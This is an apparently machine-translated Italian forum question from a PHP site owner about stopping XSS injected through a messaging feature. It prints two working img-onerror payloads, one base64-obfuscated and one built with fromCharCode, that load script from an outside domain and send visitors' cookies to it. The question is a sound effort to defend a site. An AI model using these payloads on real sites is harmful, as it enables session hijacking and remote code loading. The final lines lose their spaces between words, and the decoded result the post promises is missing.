Come possiamo evitare che l'elemento img / html con script XSS sia iniettato nel nostro database?
Recentemente ho avuto un caso nel nostro sito Web che utilizza PHP. Il nostro sito Web ha ricevuto un servizio di messaggistica che consente agli elementi HTML e un frodatore di inviare un messaggio che include il tag immagine nel messaggio. Il tag immagine ha valutato l'attributo id con 64 stringhe di codifica di base e il metodo di decrittografia atob per implementare il suo script sul nostro server quando i nostri amministratori stanno visualizzando il suo messaggio.
Ho intenzionalmente cambiato la funzione atob in named_function nello script seguente, in quanto avrebbe attivato una creazione di iframe su questo sito.
questo è lo script. due immagini sono state inviate in diversi messaggi.
< img src=/ id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vbHJlY2lwZXMuY2YvaiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs onerror=eval(named_function(this.id))>
< img src=default onerror=eval(String.fromCharCode(116,104,105,115,46,115,114,99,61,39,47,47,108,114,101,99,105,112,101,115,46,99,102,47,105,46,112,104,112,63,95,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))>
Il modo in cui comprendere il codice crittografato è l'utilizzo del metodo atob che decodifica i codici crittografati. Carica una pagina Javascript che crea un iframe, carica JS e socket.io.
Utilizzando socket.io, sembra voler produrre uno script flessibile nell'iframe per hackerare i siti web.
sotto è il risultato decodificato.
Lamiaattualesoluzioneaquestoèpermetteresoloimmaginiconsrcaventiestensionediimmagine.
Qualèilmodomiglioreperdisinfettareiltagimg?
Grazie.
PS.sequestaimmagineesistesuunapaginaweb,produrrebbecostantementeunaconnessionesocketio.